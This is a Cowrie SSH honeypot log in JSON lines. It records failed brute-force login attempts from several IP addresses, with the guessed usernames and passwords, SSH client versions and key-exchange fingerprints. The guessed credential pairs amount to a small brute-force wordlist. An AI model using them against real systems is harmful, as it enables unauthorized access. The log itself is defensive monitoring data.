{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:26:10.735322Z","src_ip":"2.57.122.208","session":"3423120cb346","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shae","password":"shae1234","message":"login attempt [shae/shae1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:26:10.945396Z","src_ip":"213.209.159.159","session":"577325df3f32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:26:11.838490Z","src_ip":"2.57.122.208","session":"3423120cb346","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shae","password":"shae12345","message":"login attempt [shae/shae12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:26:12.029755Z","src_ip":"213.209.159.159","session":"577325df3f32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:26:13.114239Z","src_ip":"213.209.159.159","session":"577325df3f32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34116,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c08ed020548","protocol":"ssh","message":"New connection: 2.57.122.208:34116 (159.203.135.109:22) [session: 5c08ed020548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:28:21.576358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:28:21.580563Z","src_ip":"2.57.122.208","session":"5c08ed020548","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:28:21.685684Z","src_ip":"2.57.122.208","session":"5c08ed020548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:28:22.068832Z","src_ip":"2.57.122.208","session":"5c08ed020548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:28:23.179260Z","src_ip":"2.57.122.208","session":"5c08ed020548","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":43656,"dst_ip":"159.203.135.109","dst_port":22,"session":"2faa972a2c00","protocol":"ssh","message":"New connection: 2.57.121.112:43656 (159.203.135.109:22) [session: 2faa972a2c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:29:39.102759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:29:39.108184Z","src_ip":"2.57.121.112","session":"2faa972a2c00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:29:39.209602Z","src_ip":"2.57.121.112","session":"2faa972a2c00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zxcv12","message":"login attempt [admin/zxcv12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:29:39.690414Z","src_ip":"2.57.121.112","session":"2faa972a2c00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zx123456789","message":"login attempt [admin/zx123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:29:40.795343Z","src_ip":"2.57.121.112","session":"2faa972a2c00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ztMFcQ","message":"login attempt [admin/ztMFcQ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:29:41.899262Z","src_ip":"2.57.121.112","session":"2faa972a2c00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zQjphsyf6ctifgu","message":"login attempt [admin/zQjphsyf6ctifgu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:29:43.004799Z","src_ip":"2.57.121.112","session":"2faa972a2c00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zonker","message":"login attempt [admin/zonker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:29:44.111756Z","src_ip":"2.57.121.112","session":"2faa972a2c00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:29:45.215727Z","src_ip":"2.57.121.112","session":"2faa972a2c00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":52120,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b6a9c95f57e","protocol":"ssh","message":"New connection: 2.57.122.208:52120 (159.203.135.109:22) [session: 6b6a9c95f57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:30:29.212509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:30:29.234133Z","src_ip":"2.57.122.208","session":"6b6a9c95f57e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:30:29.362734Z","src_ip":"2.57.122.208","session":"6b6a9c95f57e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:30:29.753908Z","src_ip":"2.57.122.208","session":"6b6a9c95f57e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:30:30.980337Z","src_ip":"2.57.122.208","session":"6b6a9c95f57e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":42048,"dst_ip":"159.203.135.109","dst_port":22,"session":"751480780c05","protocol":"ssh","message":"New connection: 2.57.122.208:42048 (159.203.135.109:22) [session: 751480780c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:32:31.312857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:32:31.318166Z","src_ip":"2.57.122.208","session":"751480780c05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:32:31.467199Z","src_ip":"2.57.122.208","session":"751480780c05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:32:31.912890Z","src_ip":"2.57.122.208","session":"751480780c05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:32:33.052385Z","src_ip":"2.57.122.208","session":"751480780c05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.210.47","src_port":39135,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b90d831cc2b","protocol":"ssh","message":"New connection: 194.195.210.47:39135 (159.203.135.109:22) [session: 8b90d831cc2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:33:26.882952Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:33:26.996269Z","src_ip":"194.195.210.47","session":"8b90d831cc2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.227","src_port":50032,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3053f12bbc8","protocol":"ssh","message":"New connection: 172.236.228.227:50032 (159.203.135.109:22) [session: f3053f12bbc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:33:51.245067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:33:51.257036Z","src_ip":"172.236.228.227","session":"f3053f12bbc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:33:51.318997Z","src_ip":"172.236.228.227","session":"f3053f12bbc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:33:51.562424Z","src_ip":"172.236.228.227","session":"f3053f12bbc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.227","src_port":50046,"dst_ip":"159.203.135.109","dst_port":22,"session":"48085f242f3c","protocol":"ssh","message":"New connection: 172.236.228.227:50046 (159.203.135.109:22) [session: 48085f242f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:33:51.631353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:33:51.715566Z","src_ip":"172.236.228.227","session":"48085f242f3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:33:51.722572Z","src_ip":"172.236.228.227","session":"48085f242f3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:33:52.273400Z","src_ip":"172.236.228.227","session":"48085f242f3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.227","src_port":50058,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec46ff2d36d1","protocol":"ssh","message":"New connection: 172.236.228.227:50058 (159.203.135.109:22) [session: ec46ff2d36d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:33:52.370426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:33:52.579293Z","src_ip":"172.236.228.227","session":"ec46ff2d36d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:33:52.582724Z","src_ip":"172.236.228.227","session":"ec46ff2d36d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:33:53.170296Z","src_ip":"172.236.228.227","session":"ec46ff2d36d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":42242,"dst_ip":"159.203.135.109","dst_port":22,"session":"5184ff75e41b","protocol":"ssh","message":"New connection: 2.57.122.208:42242 (159.203.135.109:22) [session: 5184ff75e41b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:34:37.613734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:34:37.806485Z","src_ip":"2.57.122.208","session":"5184ff75e41b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:34:37.809759Z","src_ip":"2.57.122.208","session":"5184ff75e41b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:34:38.713107Z","src_ip":"2.57.122.208","session":"5184ff75e41b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:34:39.822842Z","src_ip":"2.57.122.208","session":"5184ff75e41b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.233.73","src_port":62534,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2e2a96db59e","protocol":"ssh","message":"New connection: 104.28.233.73:62534 (10.17.0.5:22) [session: b2e2a96db59e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:39.324033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:35:39.333015Z","src_ip":"104.28.233.73","session":"b2e2a96db59e","protocol":"ssh"}
